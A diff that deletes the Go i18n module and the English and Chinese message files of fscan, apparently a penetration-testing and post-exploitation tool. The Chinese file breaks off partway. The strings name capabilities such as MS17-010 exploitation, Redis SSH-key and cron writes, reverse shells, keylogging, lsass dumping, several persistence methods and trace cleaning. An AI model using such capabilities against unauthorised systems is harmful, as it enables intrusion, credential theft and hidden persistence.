-//go:embed locales/*.yaml
-var localeFS embed.FS

common/i18n/i18n.go

@@ -1,89 +0,0 @@
-package i18n
-
-import (
-	"fmt"
-	"sync"
-
-	"github.com/nicksnyder/go-i18n/v2/i18n"
-	"golang.org/x/text/language"
-	"gopkg.in/yaml.v3"
-)
-
-// 支持的语言常量
-const (
-	LangZH = "zh"
-	LangEN = "en"
-)
-
-// 默认配置
-const (
-	DefaultLanguage  = LangZH
-	FallbackLanguage = LangEN
-)
-
-var (
-	bundle    *i18n.Bundle
-	localizer *i18n.Localizer
-	lang      = DefaultLanguage
-	mu        sync.RWMutex
-)
-
-func init() {
-	bundle = i18n.NewBundle(language.Chinese)
-	bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
-
-	// 从embed加载翻译文件
-	if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
-		panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
-	}
-	if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
-		panic(fmt.Sprintf("failed to load en.yaml: %v", err))
-	}
-
-	localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
-}
-
-// SetLanguage 设置当前语言
-func SetLanguage(l string) {
-	mu.Lock()
-	defer mu.Unlock()
-	lang = l
-	localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
-}
-
-// GetText 获取国际化文本（无参数）
-func GetText(key string) string {
-	mu.RLock()
-	loc := localizer
-	mu.RUnlock()
-
-	msg, err := loc.Localize(&i18n.LocalizeConfig{
-		MessageID: key,
-	})
-	if err != nil || msg == "" {
-		return key
-	}
-	return msg
-}
-
-// Tr 获取国际化文本并格式化（变参版本）
-// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
-func Tr(key string, args ...interface{}) string {
-	mu.RLock()
-	loc := localizer
-	mu.RUnlock()
-
-	data := make(map[string]interface{})
-	for i, arg := range args {
-		data[fmt.Sprintf("Arg%d", i+1)] = arg
-	}
-
-	msg, err := loc.Localize(&i18n.LocalizeConfig{
-		MessageID:    key,
-		TemplateData: data,
-	})
-	if err != nil || msg == "" {
-		return key
-	}
-	return msg
-}

common/i18n/locales/en.yaml

@@ -1,763 +0,0 @@
-# fscan English translation file
-# Contains only actually used messages (115)
-
-# ========================= Command Line Arguments (71) =========================
-flag_host:
-  other: "Target host: IP, IP range, IP file, domain"
-flag_exclude_hosts:
-  other: "Exclude hosts"
-flag_exclude_hosts_file:
-  other: "Exclude hosts file"
-flag_ports:
-  other: "Ports: default 1000 common ports"
-flag_exclude_ports:
-  other: "Exclude ports"
-flag_hosts_file:
-  other: "Hosts file"
-flag_ports_file:
-  other: "Ports file"
-flag_scan_mode:
-  other: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names"
-flag_thread_num:
-  other: "Port scan thread count"
-flag_timeout:
-  other: "Port scan timeout"
-flag_module_thread_num:
-  other: "Module thread count"
-flag_global_timeout:
-  other: "Global timeout"
-flag_disable_ping:
-  other: "Disable ping detection"
-flag_disable_tcp_probe:
-  other: "Disable TCP supplementary probe"
-flag_debug:
-  other: "Enable debug mode, write logs to fscan_debug.log"
-flag_alive_only:
-  other: "Alive detection only"
-flag_username:
-  other: "Username"
-flag_password:
-  other: "Password"
-flag_add_users:
-  other: "Additional usernames"
-flag_add_passwords:
-  other: "Additional passwords"
-flag_users_file:
-  other: "Username dictionary file"
-flag_passwords_file:
-  other: "Password dictionary file"
-flag_userpass_file:
-  other: "Username:password pairs file"
-flag_hash_file:
-  other: "Hash file"
-flag_hash_value:
-  other: "Hash value"
-flag_domain:
-  other: "Domain name"
-flag_ssh_key:
-  other: "SSH private key file"
-flag_target_url:
-  other: "Target URL"
-flag_urls_file:
-  other: "URLs file"
-flag_cookie:
-  other: "HTTP Cookie"
-flag_web_timeout:
-  other: "Web timeout"
-flag_max_redirects:
-  other: "Maximum HTTP redirects"
-flag_http_proxy:
-  other: "HTTP proxy"
-flag_socks5_proxy:
-  other: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)"
-flag_iface:
-  other: "Specify local interface IP address (VPN scenario, e.g.: 10.8.0.5)"
-flag_poc_path:
-  other: "POC script path"
-flag_poc_name:
-  other: "POC name"
-flag_poc_full:
-  other: "Full POC scan"
-flag_dns_log:
-  other: "DNS logging"
-flag_poc_num:
-  other: "POC concurrency"
-flag_no_poc:
-  other: "Disable POC scan"
-flag_redis_file:
-  other: "Redis file"
-flag_redis_shell:
-  other: "Redis Shell"
-flag_redis_write_path:
-  other: "Redis write path"
-flag_redis_write_content:
-  other: "Redis write content"
-flag_redis_write_file:
-  other: "Redis write file"
-flag_disable_redis:
-  other: "Disable Redis exploitation"
-flag_disable_brute:
-  other: "Disable brute force"
-flag_max_retries:
-  other: "Maximum retries"
-flag_packet_rate_limit:
-  other: "Maximum packets per minute (0 means no limit)"
-flag_max_packet_count:
-  other: "Maximum total packet count for entire program (0 means no limit)"
-flag_icmp_rate:
-  other: "ICMP packet rate (ratio to max rate, default 0.1, ~1463 pps)"
-flag_output_file:
-  other: "Output file"
-flag_output_format:
-  other: "Output format: txt, json, csv"
-flag_disable_save:
-  other: "Disable result saving"
-flag_silent_mode:
-  other: "Silent mode"
-flag_no_color:
-  other: "Disable color output"
-flag_log_level:
-  other: "Log level"
-flag_disable_progress:
-  other: "Disable progress bar"
-flag_shellcode:
-  other: "Shellcode"
-flag_reverse_shell_target:
-  other: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)"
-flag_start_socks5_server:
-  other: "Start SOCKS5 proxy server on port (e.g.: 1080)"
-flag_forward_shell_port:
-  other: "Start forward shell server on port (e.g.: 4444)"
-flag_persistence_file:
-  other: "Linux persistence target file path (supports .elf/.sh files)"
-flag_win_pe_file:
-  other: "Windows persistence target PE file path (supports .exe/.dll files)"
-flag_keylogger_output:
-  other: "Keylogger output file path"
-flag_download_url:
-  other: "URL of the file to download"
-flag_download_path:
-  other: "Save path for downloaded file"
-flag_language:
-  other: "Language: zh, en"
-flag_help:
-  other: "Show help information"
-# ========================= Scan Mode Messages =========================
-scan_mode_service_selected:
-  other: "Service scan mode selected"
-scan_mode_alive_selected:
-  other: "Alive detection mode selected"
-scan_mode_local_selected:
-  other: "Local scan mode selected"
-scan_mode_web_selected:
-  other: "Web scan mode selected"
-scan_info_start:
-  other: "Starting information scan"
-scan_host_start:
-  other: "Starting host scan"
-scan_vulnerability_start:
-  other: "Starting vulnerability scan"
-scan_no_service_plugins:
-  other: "No available service plugins found"
-
-# ========================= Scan Strategy Messages =========================
-scan_strategy_alive_name:
-  other: "Alive Detection"
-scan_strategy_alive_desc:
-  other: "Fast detection of host alive status"
-scan_strategy_local_name:
-  other: "Local Scan"
-scan_strategy_local_desc:
-  other: "Collect local system information"
-scan_strategy_service_name:
-  other: "Service Scan"
-scan_strategy_service_desc:
-  other: "Scan host services and vulnerabilities"
-scan_strategy_web_name:
-  other: "Web Scan"
-scan_strategy_web_desc:
-  other: "Scan web application vulnerabilities and information"
-
-# ========================= Alive Detection Messages =========================
-scan_alive_start:
-  other: "Starting alive detection"
-scan_alive_summary_title:
-  other: "Alive Detection Summary"
-scan_alive_hosts_list:
-  other: "Alive hosts list:"
-
-# ========================= Progress Messages =========================
-progress_scanning_description:
-  other: "Scanning Progress"
-progress_scan_completed:
-  other: "Scan Completed:"
-concurrency_plugin:
-  other: "Plugins"
-concurrency_local_plugin:
-  other: "Local Plugins"
-concurrency_service_plugin:
-  other: "Service Plugins"
-concurrency_web_plugin:
-  other: "Web Plugins"
-
-# ========================= Parse Error Messages =========================
-parse_error_target_empty:
-  other: "Target input is empty"
-parse_error_no_hosts:
-  other: "No valid target hosts found after parsing"
-parse_error_empty_input:
-  other: "Input parameters are empty"
-parse_error_parser_not_init:
-  other: "Parser not initialized"
-target_local_mode:
-  other: "Local scan mode"
-param_conflict_ao_icmp_both:
-  other: "Note: Both -ao and -m icmp specified, both enable alive detection mode"
-
-# ========================= Parser Messages =========================
-parser_empty_input:
-  other: "Input parameters are empty"
-parser_file_scan_failed:
-  other: "File scan failed"
-parser_username_invalid_chars:
-  other: "Username contains invalid characters"
-parser_password_empty:
-  other: "Empty passwords not allowed"
-parser_hash_empty:
-  other: "Hash value is empty"
-parser_hash_invalid_format:
-  other: "Invalid hash format, requires 32-character hexadecimal"
-
-# ========================= Config Messages =========================
-config_web_timeout_warning:
-  other: "Web timeout is larger than normal timeout, may cause unexpected behavior"
-
-# ========================= Plugin Scan Messages (with parameters) =========================
-scan_plugin_not_found:
-  other: "No plugin found for scan type {{.Arg1}}, skipped"
-
-# ========================= SSH Plugin Messages =========================
-ssh_key_auth_success:
-  other: "SSH key authentication successful: {{.Arg1}} [{{.Arg2}}]"
-ssh_pwd_auth_success:
-  other: "SSH password authentication successful: {{.Arg1}} [{{.Arg2}}:{{.Arg3}}]"
-ssh_key_read_failed:
-  other: "Failed to read SSH private key: {{.Arg1}}"
-ssh_service_identified:
-  other: "SSH service identified: {{.Arg1}} - {{.Arg2}}"
-
-# ========================= Redis Plugin Messages =========================
-redis_unauth_success:
-  other: "Redis unauthorized access: {{.Arg1}}"
-redis_service_identified:
-  other: "Redis service identified: {{.Arg1}} - {{.Arg2}}"
-
-# ========================= ICMP Messages =========================
-trying_no_listen_icmp:
-  other: "Trying no-listen ICMP detection"
-insufficient_privileges:
-  other: "Insufficient privileges for raw ICMP detection"
-switching_to_ping:
-  other: "Switching to ping command mode"
-icmp_listen_failed:
-  other: "ICMP listen failed: {{.Arg1}}"
-icmp_connect_failed:
-  other: "ICMP connect failed: {{.Arg1}}"
-icmp_listener_panic:
-  other: "ICMP listener goroutine panic: {{.Arg1}}"
-host_alive:
-  other: "{{.Arg1}} alive (protocol: {{.Arg2}})"
-proxy_mode_disable_icmp:
-  other: "Proxy mode detected, disabling ICMP scan"
-segment_16_alive:
-  other: "{{.Arg1}}.0.0/16 segment alive: {{.Arg2}}"
-segment_24_alive:
-  other: "{{.Arg1}}.0/24 segment alive: {{.Arg2}}"
-tcp_probe_low_icmp_rate:
-  other: "Low ICMP response rate ({{.Arg1}}), enabling TCP supplementary probe ({{.Arg2}} hosts)"
-tcp_probe_found:
-  other: "TCP probe found {{.Arg1}} alive hosts"
-
-# ========================= Alive Scan Stats Messages =========================
-parse_target_failed:
-  other: "Parse target failed: {{.Arg1}}"
-alive_scan_start_single:
-  other: "Starting alive scan: {{.Arg1}}"
-alive_scan_start_multi:
-  other: "Starting alive scan: {{.Arg1}} targets (first: {{.Arg2}})"
-alive_total_hosts:
-  other: "Total hosts: {{.Arg1}}"
-alive_hosts_count:
-  other: "Alive hosts: {{.Arg1}}"
-alive_dead_hosts:
-  other: "Dead hosts: {{.Arg1}}"
-alive_success_rate:
-  other: "Success rate: {{.Arg1}}"
-alive_scan_duration:
-  other: "Scan duration: {{.Arg1}}"
-alive_host_item:
-  other: "  [{{.Arg1}}] {{.Arg2}}"
-
-# ========================= Scanner Messages =========================
-http_client_init_failed:
-  other: "HTTP client initialization failed: {{.Arg1}}"
-active_reverse_shell:
-  other: "Active reverse shell detected, keeping program running..."
-active_socks5_proxy:
-  other: "Active SOCKS5 proxy detected, keeping program running..."
-active_forward_shell:
-  other: "Active forward shell detected, keeping program running..."
-press_ctrl_c_exit:
-  other: "Press Ctrl+C to exit"
-received_exit_signal:
-  other: "Received exit signal, shutting down..."
-scan_task_complete:
-  other: "Scan task complete, duration {{.Arg1}}, scanned {{.Arg2}} targets"
-plugin_panic:
-  other: "Plugin {{.Arg1}} panic while scanning {{.Arg2}}:{{.Arg3}}: {{.Arg4}}"
-plugin_scan_error:
-  other: "Plugin scan error {{.Arg1}}:{{.Arg2}} - {{.Arg3}}"
-brute_no_weak_pass:
-  other: "{{.Arg1}}:{{.Arg2}} {{.Arg3}} no weak password found"
-
-# ========================= Port Scan Messages =========================
-invalid_port:
-  other: "Invalid port: {{.Arg1}}"
-port_scan_start:
-  other: "Starting port scan, {{.Arg1}} tasks, estimated {{.Arg2}} seconds ({{.Arg3}} minutes)"
-thread_pool_create_failed:
-  other: "Failed to create thread pool: {{.Arg1}}"
-port_scan_complete:
-  other: "Scan complete, found {{.Arg1}} open ports"
-scan_failure_rate_high:
-  other: "Scan failure rate too high: {{.Arg1}} ({{.Arg2}}/{{.Arg3}} failed)"
-scan_failure_reason:
-  other: "Possible reason: Thread count too high causing resource exhaustion"
-scan_reduce_threads_suggestion:
-  other: "Suggestion: Reduce thread count (current {{.Arg1}}) to 50-100, or increase system ulimit"
-scan_partial_failure:
-  other: "Partial port scan failure: {{.Arg1}} ({{.Arg2}}/{{.Arg3}})"
-scan_reduce_threads_accuracy:
-  other: "Suggestion: Reduce thread count (current {{.Arg1}}) to improve accuracy"
-resource_exhausted_warning:
-  other: "Resource exhausted errors {{.Arg1}} times, suggest reducing thread count (-t) or increase ulimit"
-port_open:
-  other: "Port open {{.Arg1}}"
-port_open_http:
-  other: "Port open {{.Arg1}} [http](HTTP probe)"
-port_scan_no_alive_subnet:
-  other: "Subnet probe found no alive subnets, skipping port scan"
-
-# ========================= Local Scan Messages =========================
-local_plugin_info:
-  other: "Local plugin: {{.Arg1}}"
-local_plugin_not_specified:
-  other: "Local plugin: Not specified"
-local_plugin_not_found:
-  other: "Error: Local plugin '{{.Arg1}}' does not exist or is not available on current platform"
-
-# ========================= Service Scan Messages =========================
-service_plugin_info:
-  other: "Service plugins: {{.Arg1}}"
-service_plugin_custom:
-  other: "Service plugins: Custom specified ({{.Arg1}})"
-service_plugin_none:
-  other: "Service plugins: None available"
-port_out_of_range:
-  other: "Port out of range: {{.Arg1}} (valid range: 1-65535)"
-invalid_target_format:
-  other: "Invalid target format: {{.Arg1}}"
-host_port_invalid:
-  other: "Host {{.Arg1}} port format invalid: {{.Arg2}}"
-host_port_out_of_range:
-  other: "Host {{.Arg1}} port out of range: {{.Arg2}} (valid range: 1-65535)"
-alive_hosts_count_info:
-  other: "Alive hosts count: {{.Arg1}}"
-alive_ports_count:
-  other: "Alive ports count: {{.Arg1}}"
-
-# ========================= Web Scan Messages =========================
-http_proxy_config_error:
-  other: "HTTP proxy configuration error: {{.Arg1}}"
-socks5_not_supported_web:
-  other: "Web detection does not support SOCKS5 proxy, recommend using HTTP proxy (-proxy)"
-url_parse_failed:
-  other: "Failed to parse URL: {{.Arg1}} - {{.Arg2}}"
-invalid_scan_target:
-  other: "Invalid scan target"
-poc_load_failed:
-  other: "POC load failed, cannot execute scan"
-
-# ========================= Base Scan Strategy Messages =========================
-plugins_custom_specified:
-  other: "{{.Arg1}}: Custom specified ({{.Arg2}})"
-plugins_info:
-  other: "{{.Arg1}}: {{.Arg2}}"
-plugins_none:
-  other: "{{.Arg1}}: None available"
-start_local_scan:
-  other: "Starting local scan"
-start_service_scan:
-  other: "Starting service scan"
-start_web_scan:
-  other: "Starting web scan"
-start_scan:
-  other: "Starting scan"
-
-# ========================= Service Plugin Messages =========================
-# Format: {service}_{type} - type: credential/unauth/service/vuln
-ldap_credential:
-  other: "LDAP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-ldap_hash_credential:
-  other: "LDAP {{.Arg1}} {{.Arg2}}\\{{.Arg3}} [Hash:{{.Arg4}}]"
-ldap_service:
-  other: "LDAP {{.Arg1}} {{.Arg2}}"
-kafka_credential:
-  other: "Kafka {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-kafka_service:
-  other: "Kafka {{.Arg1}} {{.Arg2}}"
-ftp_service:
-  other: "FTP {{.Arg1}} {{.Arg2}}"
-rdp_service:
-  other: "RDP {{.Arg1}} {{.Arg2}}"
-activemq_credential:
-  other: "ActiveMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-activemq_service:
-  other: "ActiveMQ {{.Arg1}} {{.Arg2}}"
-telnet_credential:
-  other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-telnet_service:
-  other: "Telnet {{.Arg1}} {{.Arg2}}"
-telnet_unauth_rce:
-  other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}"
-telnet_credential_rce:
-  other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}"
-telnet_cve202624061:
-  other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}"
-cassandra_credential:
-  other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-cassandra_service:
-  other: "Cassandra {{.Arg1}} {{.Arg2}}"
-cassandra_unauth:
-  other: "Cassandra {{.Arg1}} No authentication required"
-vnc_unauth:
-  other: "VNC {{.Arg1}} Unauthorized access"
-vnc_credential:
-  other: "VNC {{.Arg1}} Password: {{.Arg2}}"
-smtp_credential:
-  other: "SMTP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-smtp_service:
-  other: "SMTP {{.Arg1}} {{.Arg2}}"
-mongodb_unauth:
-  other: "MongoDB {{.Arg1}} Unauthorized access"
-mongodb_credential:
-  other: "MongoDB {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-mongodb_auth_required:
-  other: "MongoDB {{.Arg1}} Authentication required"
-elasticsearch_credential:
-  other: "Elasticsearch {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-elasticsearch_unauth:
-  other: "Elasticsearch {{.Arg1}} Unauthorized access"
-elasticsearch_service:
-  other: "Elasticsearch {{.Arg1}} {{.Arg2}}"
-mysql_credential:
-  other: "MySQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-mysql_service:
-  other: "MySQL {{.Arg1}} {{.Arg2}}"
-memcached_unauth:
-  other: "Memcached {{.Arg1}} Unauthorized access"
-memcached_service:
-  other: "Memcached {{.Arg1}} {{.Arg2}}"
-rsync_credential:
-  other: "Rsync {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-rsync_service:
-  other: "Rsync {{.Arg1}} {{.Arg2}}"
-oracle_credential:
-  other: "Oracle {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-oracle_service:
-  other: "Oracle {{.Arg1}} {{.Arg2}}"
-oracle_default_account:
-  other: "Oracle {{.Arg1}} Default account: {{.Arg2}}:{{.Arg3}}"
-postgresql_credential:
-  other: "PostgreSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-postgresql_service:
-  other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
-postgresql_vuln:
-  other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
-smb_service:
-  other: "SMB {{.Arg1}} {{.Arg2}}"
-rabbitmq_credential:
-  other: "RabbitMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-rabbitmq_service:
-  other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
-neo4j_unauth:
-  other: "Neo4j {{.Arg1}} Unauthorized access"
-neo4j_credential:
-  other: "Neo4j {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-neo4j_service:
-  other: "Neo4j {{.Arg1}} {{.Arg2}}"
-mssql_credential:
-  other: "MSSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-mssql_service:
-  other: "MSSQL {{.Arg1}} {{.Arg2}}"
-
-# ========================= Vulnerability Detection Messages =========================
-smbghost_vuln:
-  other: "SMB Ghost {{.Arg1}} CVE-2020-0796 Vulnerable"
-ms17010_start:
-  other: "MS17-010 exploitation started: {{.Arg1}}"
-ms17010_complete:
-  other: "MS17-010 exploitation completed: {{.Arg1}}"
-ms17010_shellcode_complete:
-  other: "{{.Arg1}} MS17-010 exploitation completed (Shellcode length: {{.Arg2}})"
-ms17010_protocol_decrypt_error:
-  other: "Protocol request decryption error: {{.Arg1}}"
-ms17010_protocol_decode_error:
-  other: "Protocol request decoding error: {{.Arg1}}"
-ms17010_session_decrypt_error:
-  other: "Session request decryption error: {{.Arg1}}"
-ms17010_session_decode_error:
-  other: "Session request decoding error: {{.Arg1}}"
-ms17010_connect_decrypt_error:
-  other: "Connection request decryption error: {{.Arg1}}"
-ms17010_connect_decode_error:
-  other: "Connection request decoding error: {{.Arg1}}"
-ms17010_pipe_decrypt_error:
-  other: "Pipe request decryption error: {{.Arg1}}"
-ms17010_pipe_decode_error:
-  other: "Pipe request decoding error: {{.Arg1}}"
-
-# ========================= Redis Plugin Messages =========================
-redis_reconnect_failed:
-  other: "Failed to reconnect to Redis: {{.Arg1}}"
-redis_config_failed:
-  other: "Failed to get Redis config: {{.Arg1}}"
-redis_write_failed:
-  other: "File write failed: {{.Arg1}}"
-redis_write_success:
-  other: "Successfully wrote file: {{.Arg1}}"
-redis_read_failed:
-  other: "Failed to read local file: {{.Arg1}}"
-redis_file_write_success:
-  other: "Successfully wrote content of {{.Arg1}} to {{.Arg2}}"
-redis_ssh_key_failed:
-  other: "SSH key write failed: {{.Arg1}}"
-redis_ssh_key_success:
-  other: "SSH key written successfully"
-redis_cron_failed:
-  other: "Cron job write failed: {{.Arg1}}"
-redis_cron_success:
-  other: "Cron job written successfully"
-redis_restore_failed:
-  other: "Failed to restore database config: {{.Arg1}}"
-
-# ========================= Local Plugin Messages =========================
-# Cron task persistence
-crontask_success:
-  other: "Cron task persistence completed: {{.Arg1}} methods succeeded"
-
-# Keylogger
-keylogger_success:
-  other: "Keylogging completed, captured {{.Arg1}} keyboard events"
-keylogger_save_failed:
-  other: "Failed to save keylog: {{.Arg1}}"
-keylogger_no_input:
-  other: "No keyboard input captured"
-
-# Environment info
-envinfo_sensitive:
-  other: "Found sensitive environment variable: {{.Arg1}}"
-
-# Windows WMI
-winwmi_success:
-  other: "Windows WMI event subscription persistence completed: {{.Arg1}} items"
-
-# Cleaner
-cleaner_success:
-  other: "Trace cleaning completed: {{.Arg1}} files, {{.Arg2}} system entries"
-cleaner_history_found:
-  other: "Found history file: {{.Arg1}} (requires manual cleanup)"
-
-# Downloader
-downloader_success:
-  other: "File download completed: {{.Arg1}} -> {{.Arg2}} (size: {{.Arg3}} bytes)"
-
-# Forward shell
-forwardshell_complete:
-  other: "Forward shell service completed - port: {{.Arg1}}"
-forwardshell_started:
-  other: "Forward shell server started on 0.0.0.0:{{.Arg1}}"
-forwardshell_accept_failed:
-  other: "Failed to accept connection: {{.Arg1}}"
-forwardshell_client_connected:
-  other: "Client connected from: {{.Arg1}}"
-forwardshell_read_failed:
-  other: "Failed to read client command: {{.Arg1}}"
-
-# AV detection
-avdetect_load_failed:
-  other: "Failed to load AV database: {{.Arg1}}"
-avdetect_loaded:
-  other: "Loaded {{.Arg1}} AV product info"
-avdetect_found:
-  other: "Detected AV: {{.Arg1}} ({{.Arg2}} processes)"
-avdetect_process:
-  other: "  - {{.Arg1}}"
-
-# Windows startup folder
-winstartup_success:
-  other: "Windows startup folder persistence completed: {{.Arg1}} methods"
-
-# File info
-fileinfo_sensitive:
-  other: "Found sensitive file: {{.Arg1}}"
-fileinfo_potential:
-  other: "Found potentially sensitive file: {{.Arg1}}"
-
-# DC info
-dcinfo_not_joined:
-  other: "Current computer is not joined to a domain"
-dcinfo_success:
-  other: "Domain controller info collection completed: {{.Arg1}} categories succeeded"
-
-# Windows service
-winservice_success:
-  other: "Windows service persistence completed: {{.Arg1}} items"
-
-# Shell environment
-shellenv_success:
-  other: "Shell environment persistence completed: {{.Arg1}} methods succeeded"
-
-# LD_PRELOAD
-ldpreload_success:
-  other: "LD_PRELOAD persistence completed: {{.Arg1}} methods succeeded"
-
-# SOCKS5 proxy
-socks5_starting:
-  other: "Starting SOCKS5 proxy on port {{.Arg1}}"
-socks5_complete:
-  other: "SOCKS5 proxy completed - port: {{.Arg1}}"
-socks5_started:
-  other: "SOCKS5 proxy server started on 127.0.0.1:{{.Arg1}}"
-socks5_cancelled:
-  other: "SOCKS5 proxy server cancelled by context"
-socks5_accept_failed:
-  other: "Failed to accept connection: {{.Arg1}}"
-socks5_handshake_failed:
-  other: "SOCKS5 handshake failed: {{.Arg1}}"
-socks5_request_failed:
-  other: "SOCKS5 request handling failed: {{.Arg1}}"
-socks5_connected:
-  other: "SOCKS5 proxy connection established"
-
-# Reverse shell
-reverseshell_complete:
-  other: "Reverse shell completed - target: {{.Arg1}}"
-reverseshell_connected:
-  other: "Reverse shell connected to {{.Arg1}}:{{.Arg2}}"
-
-# Systemd service
-systemdservice_success:
-  other: "Systemd service persistence completed: {{.Arg1}} methods succeeded"
-
-# System info
-systeminfo_start:
-  other: "Starting system information collection"
-systeminfo_os:
-  other: "Operating System: {{.Arg1}}"
-systeminfo_arch:
-  other: "Architecture: {{.Arg1}}"
-systeminfo_cpu:
-  other: "CPU Cores: {{.Arg1}}"
-systeminfo_hostname:
-  other: "Hostname: {{.Arg1}}"
-systeminfo_user:
-  other: "Current User: {{.Arg1}}"
-systeminfo_homedir:
-  other: "Home Directory: {{.Arg1}}"
-systeminfo_workdir:
-  other: "Working Directory: {{.Arg1}}"
-systeminfo_tempdir:
-  other: "Temp Directory: {{.Arg1}}"
-systeminfo_pathcount:
-  other: "PATH entries: {{.Arg1}}"
-systeminfo_winver:
-  other: "Windows Version: {{.Arg1}}"
-systeminfo_domain:
-  other: "User Domain: {{.Arg1}}"
-systeminfo_kernel:
-  other: "System Kernel: {{.Arg1}}"
-systeminfo_distro:
-  other: "Distribution: {{.Arg1}}"
-systeminfo_distro_exists:
-  other: "Distribution: /etc/os-release exists"
-systeminfo_whoami:
-  other: "Current User (whoami): {{.Arg1}}"
-
-# Windows scheduled task
-winschtask_success:
-  other: "Windows scheduled task persistence completed: {{.Arg1}} items"
-
-# Windows registry
-winregistry_success:
-  other: "Windows registry persistence completed: {{.Arg1}} items"
-
-# Minidump
-minidump_panic:
-  other: "Minidump plugin panic: {{.Arg1}}"
-minidump_success:
-  other: "Successfully dumped lsass.exe memory to file: {{.Arg1}} (size: {{.Arg2}} bytes)"
-
-# ========================= WebScan Messages =========================
-webscan_target_url_failed:
-  other: "Failed to build target URL: {{.Arg1}}"
-webscan_invalid_url:
-  other: "{{.Arg1}} {{.Arg2}}: {{.Arg3}}"
-webscan_request_create_failed:
-  other: "Failed to create HTTP request: {{.Arg1}}"
-webscan_builtin_poc_failed:
-  other: "Failed to load builtin POC directory: {{.Arg1}}"
-webscan_poc_dir_not_exist:
-  other: "POC directory does not exist: {{.Arg1}}"
-webscan_poc_dir_walk_failed:
-  other: "Failed to traverse POC directory: {{.Arg1}}"
-webscan_rule_match_error:
-  other: "Rule match error [{{.Arg1}}]: {{.Arg2}}"
-webscan_poc_exec_error:
-  other: "POC execution error {{.Arg1}}: {{.Arg2}}"
-webscan_set_exec_error:
-  other: "Set execution error {{.Arg1}}: {{.Arg2}}"
-webscan_regex_compile_error:
-  other: "Regex compile error: {{.Arg1}}"
-webscan_reverse_url_error:
-  other: "Reverse URL parse error: {{.Arg1}}"
-webscan_cel_syntax_error:
-  other: "CEL syntax error [{{.Arg1}}]: {{.Arg2}}"
-webscan_cel_init_failed:
-  other: "Failed to initialize base CEL environment: {{.Arg1}}"
-webscan_request_restricted:
-  other: "POC HTTP request {{.Arg1}} restricted: {{.Arg2}}"
-webscan_response_parse_failed:
-  other: "Response parse failed: {{.Arg1}}"
-
-# Main entry
-param_error:
-  other: "Parameter error: {{.Arg1}}"
-error_generic:
-  other: "Error: {{.Arg1}}"
-init_failed:
-  other: "Initialization failed: {{.Arg1}}"
-poc_load_complete:
-  other: "POC loading complete: Total {{.Arg1}}, Success {{.Arg2}}, Failed {{.Arg3}}"
-redis_scan_success:
-  other: "Redis {{.Arg1}} {{.Arg2}}"
-rabbitmq_detected:
-  other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
-
-# ========================= Web UI Messages =========================
-web_server_started:
-  other: "Web server started on port: {{.Arg1}}"
-web_shutting_down:
-  other: "Web server shutting down..."
-web_mode_not_supported:
-  other: "Web mode not supported in this build, rebuild with: go build -tags web"

common/i18n/locales/zh.yaml

@@ -1,763 +0,0 @@
-# fscan 中文翻译文件
-# 仅包含实际使用的消息（115个）
-
-# ========================= 命令行参数 (71个) =========================
-flag_host:
-  other: "目标主机: IP, IP段, IP段文件, 域名"
-flag_exclude_hosts:
-  other: "排除主机"
-flag_exclude_hosts_file:
-  other: "排除主机文件"
-flag_ports:
-  other: "端口: 默认1000个常用端口"
-flag_exclude_ports:
-  other: "排除端口"
-flag_hosts_file:
-  other: "主机文件"
-flag_ports_file:
-  other: "端口文件"
-flag_scan_mode:
-  other: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称"
-flag_thread_num:
-  other: "端口扫描线程数"
-flag_timeout:
-  other: "端口扫描超时时间"
-flag_module_thread_num:
-  other: "模块线程数"
-flag_global_timeout:
-  other: "全局超时时间"
-flag_disable_ping:
-  other: "禁用ping探测"
-flag_disable_tcp_probe:
-  other: "禁用TCP补充探测"
-flag_debug:
-  other: "开启调试模式，日志写入fscan_debug.log"
-flag_alive_only:
-  other: "仅进行存活探测"
-flag_username:
-  other: "用户名"
-flag_password:
-  other: "密码"
-flag_add_users:
-  other: "额外用户名"
-flag_add_passwords:
-  other: "额外密码"
-flag_users_file:
-  other: "用户名字典文件"
-flag_passwords_file:
-  other: "密码字典文件"
-flag_userpass_file:
-  other: "用户名:密码对文件"
-flag_hash_file:
-  other: "哈希文件"
-flag_hash_value:
-  other: "哈希值"
-flag_domain:
-  other: "域名"
-flag_ssh_key:
-  other: "SSH私钥文件"
-flag_target_url:
-  other: "目标URL"
-flag_urls_file:
-  other: "URL文件"
-flag_cookie:
-  other: "HTTP Cookie"
-flag_web_timeout:
-  other: "Web超时时间"
-flag_max_redirects:
-  other: "HTTP最大重定向次数"
-flag_http_proxy:
-  other: "HTTP代理"
-flag_socks5_proxy:
-  other: "使用SOCKS5代理 (如: 127.0.0.1:1080)"
-flag_iface:
